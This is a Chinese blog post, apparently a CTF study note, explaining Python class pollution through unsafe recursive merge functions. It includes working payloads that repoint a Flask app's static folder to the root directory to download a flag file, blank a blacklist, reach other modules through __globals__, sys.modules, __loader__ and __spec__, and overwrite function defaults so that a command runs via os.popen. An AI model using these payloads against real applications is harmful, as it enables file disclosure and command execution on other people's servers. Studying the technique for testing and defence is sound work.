python原型链污染


基础payload

直接污染static目录

data = {
    "__init__":{
        "__globals__":{
                "app":{
                        "_static_folder": "/"
                    }
            }
    }
}

直接把static污染成根目录,假设存在/flag的子网和/flag的文件存放flag就能直接下载flag

{
    "__init__": {
        "__globals__": {
                    "BLACKLIST_IN_index": ""
            }
    }
}

这种攻击方式可以在Python中实现对类属性值的污染。需要注意的是,由于Python中的安全设定和部分特殊属性类型限定,并不是所有的类其所有的属性都是可以被污染的,不过可以肯定的,污染只对类的属性起作用,对于类方法是无效的。

介绍

合并函数#

Pydash模块中的set_和set_with函数具有如下实例中merge函数类似的类属性赋值逻辑,能够实现污染攻击需要一个数值合并函数将特定值污染到类的属性当中,一个标准示例如下:

def merge(src, dst):
    # 遍历源字典 (src) 中的每一对键值对
    for k, v in src.items():
        # 检查目标对象 dst 是否是字典类型(具有 __getitem__ 方法)
        if hasattr(dst, '__getitem__'):
            # 如果目标字典中已经有这个键且对应的值是字典类型,则递归合并
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                # 否则直接将源字典中的值赋给目标字典的键
                dst[k] = v
        # 如果目标对象 dst 是具有指定属性的对象(通过 hasattr(dst, k) 判断)
        # 并且源字典中的值是字典类型,则递归合并
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            # 否则将源字典的值赋给目标对象的属性
            setattr(dst, k, v)

污染示例 ;

由于Python中的类会继承父类中的属性,而类中声明(并不是实例中声明)的属性是唯一的,所以我们的目标就是这些在多个类、示例中仍然指向唯一的属性,如类中自定义属性及以__开头的内置属性等

修改自定义属性示例

class father:
    secret = "haha"

class son_a(father):
    pass

class son_b(father):
    pass

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

instance = son_b()
payload = {
    "__class__" : {
        "__base__" : {
            "secret" : "no way"
        }
    }
}

print(son_a.secret)
#haha
print(instance.secret)
#haha
merge(payload, instance)
print(son_a.secret)
#no way
print(instance.secret)
#no way
(关注值的更改和污染方式)

object无法污染

正如前面所述,并不是所有的类的属性都可以被污染,如Object的属性就无法被污染,所以需要目标类能够被切入点类或对象可以通过属性值查找获取到

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

payload = {
    "__class__" : {
            "__str__" : "Polluted ~"
        }
    }

merge(payload, object)
#TypeError: can't set attributes of built-in/extension type 'object'

利用

在上边的介绍中污染类属性是通过示例的__base__属性查找到其继承的父类,但是如果目标类与切入点类或实例没有继承关系时,这种方法就显得十分无力

全局变量

在Python中,函数或类方法(对于类的内置方法如__init__这些来说,内置方法在并未重写时其数据类型为装饰器即wrapper_descriptor,只有在重写后才是函数function)均具有一个__globals__属性,该属性将函数或类方法所申明的变量空间中的全局变量以字典的形式返回(相当于这个变量空间中的globals函数的返回值)

也就是说里面有所有的类与属性

污染示例(注意类内变量修改和类外的区别)

secret_var = 114

def test():
    pass

class a:
    secret_class_var = "secret"

class b:
    def __init__(self):
        pass

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

instance = b()

payload = {
    "__init__" : {
            "__globals__" : {
                "secret_var" : 514,
                "a" : {
                    "secret_class_var" : "Pooooluted ~"
                }
            }
        }
    }

print(a.secret_class_var)
#secret
print(secret_var)
#114
merge(payload, instance)
print(a.secret_class_var)
#Pooooluted ~
print(secret_var)
#514

已加载模块

需要对并不是定义在入口文件中的类对象或者属性,而我们的操作位置又在入口文件中,这个时候就需要对其他加载过的模块来获取了—也就是说需要污染的在我们操作的下文

简单的示例

#test.py
import test_1
class cls:
    def __init__(self):
        pass
def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)
instance = cls()

payload = {
    "__init__" : {
        "__globals__" : {
            "test_1" : {
                "secret_var" : 514,
                "target_class" : {
                    "secret_class_var" : "Poluuuuuuted ~"
                }
            }
        }
    }
}
print(test_1.secret_var)
#secret
print(test_1.target_class.secret_class_var)
#114
merge(payload, instance)
print(test_1.secret_var)
#514
print(test_1.target_class.secret_class_var)
#Poluuuuuuted 

secret_var = 114
class target_class:

    secret_class_var = "secret"

我们更改的secret_var等都在污染之后

在加载关系简单的情况下,我们可以直接从文件的_import语法部分_找到目标模块,这个时候我们就可以通过获取全局变量来得到目标模块

但是实际上带都是没法直接这么简单的直接查看的,我们就需要利用sys模块

sys模块

sys模块的modules属性以字典的形式包含了程序自开始运行时所有已加载过的模块,可以直接从该属性中获取到目标模块

也就是说勉强算是利用globals的进阶版,这里只上payload了

payload = {
    "__init__" : {
        "__globals__" : {
            "sys" : {
                "modules" : {
                    "test_1" : {
                        "secret_var" : 514,
                        "target_class" : {
                            "secret_class_var" : "Poluuuuuuted ~"
                        }
                    }
                }
            }
        }
    }
}

当然我们去使用的Payload绝大部分情况下是不会这样的,如上的

上边的Payload是在已经import sys的情况下使用的,而大部分情况是没有直接导入的,上述只是为了引出下文的真正的复杂的使用

loader

这样问题就从寻找import特定模块的语句转换为**寻找import了sys模块的语句,**为了进一步简化问题,这里采用方式是利用Python中加载器loader

加载器loader

是为实现模块加载而设计的类,其在importlib这一内置模块中有具体实现

关键是—-importlib模块下所有的py文件中均引入了sys模块

只要我们能过获取到一个loader便能用如loader.init.globals[‘sys’]的方式拿到sys模块,这样进而获取目标模块。

并且对于一个模块来说,模块中的一些内置属性会在被加载时自动填充

__loader__内置属性会被赋值为加载该模块的loader,这样只要能获取到任意的模块便能通过__loader__属性获取到loader,而且对于python3来说除了在debug模式下的主文件中__loader__为None以外,正常执行的情况每个模块__loader__属性均有一个对应的类

spec

__spec__内置属性在Python 3.4版本引入,其包含了关于类加载时的信息,本是定义在Lib/importlib/_bootstrap.py的类ModuleSpec,显然因为定义在importlib模块下的py文件,所以可以直接采用

<模块名>.spec.init.globals[‘sys’]获取到sys模块

ModuleSpec

由于ModuleSpec的属性值设置,相对于上面的获取方式,还有一种相对长的

payload的获取方式,主要是利用ModuleSpec中的loader属性。如属性名所示,该属性的值是模块加载时所用的loader所以有这样的相对长的

Payload:

<模块名>.spec.loader.init.globals[‘sys’]

函数形参默认值替换

函数的__defaults__和__kwdefaults__这两个内置属性(分别获取位置或关键字参数,关键字参数)

这里需要了解了解什么是位置或关键字参数和关键字参数

即—-def name(p1, p2, /, p_or_kw, *, kw):

为了便于理解给出实验示例

def func_a(var_1, var_2 =2, var_3 = 3):
    pass

def func_b(var_1, /, var_2 =2, var_3 = 3):
    pass
    
def func_c(var_1, var_2 =2, *, var_3 = 3):
    pass

def func_d(var_1, /, var_2 =2, *, var_3 = 3):
    pass
print(func_a.__defaults__)
#(2, 3)

print(func_b.__defaults__)
#(2, 3)

print(func_c.__defaults__)
#(2,)

print(func_d.__defaults__)
#(2,)

通过替换该属性便能实现对函数位置或键值形参的默认值替换,但稍有问题的是该属性值要求为元组类型,而通常的如JSON等格式并没有元组这一数据类型设计概念,这就需要环境中有合适的解析输入的方式

污染示例

def evilFunc(arg_1 , shell = False):
    if not shell:
        print(arg_1)
    else:
        print(__import__("os").popen(arg_1).read())

class cls:
    def __init__(self):
        pass

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)
instance = cls()
payload = {
    "__init__" : {
        "__globals__" : {
            "evilFunc" : {
                "__defaults__" : (
                    True ,
                )
            }
        }
    }
}
evilFunc("whoami")
#whoami
merge(payload, instance)
evilFunc("whoami")
#article-kelp

kw

def evilFunc(arg_1 , * , shell = False):
    if not shell:
        print(arg_1)
    else:
        print(__import__("os").popen(arg_1).read())

class cls:
    def __init__(self):
        pass

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

instance = cls()

payload = {
    "__init__" : {
        "__globals__" : {
            "evilFunc" : {
                "__kwdefaults__" : {
                    "shell" : True
                }
            }
        }
    }
}
evilFunc("whoami")
#whoami
merge(payload, instance)
evilFunc("whoami")
#article-kelp

文章作者: YUNiversity
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 YUNiversity !
评论
  目录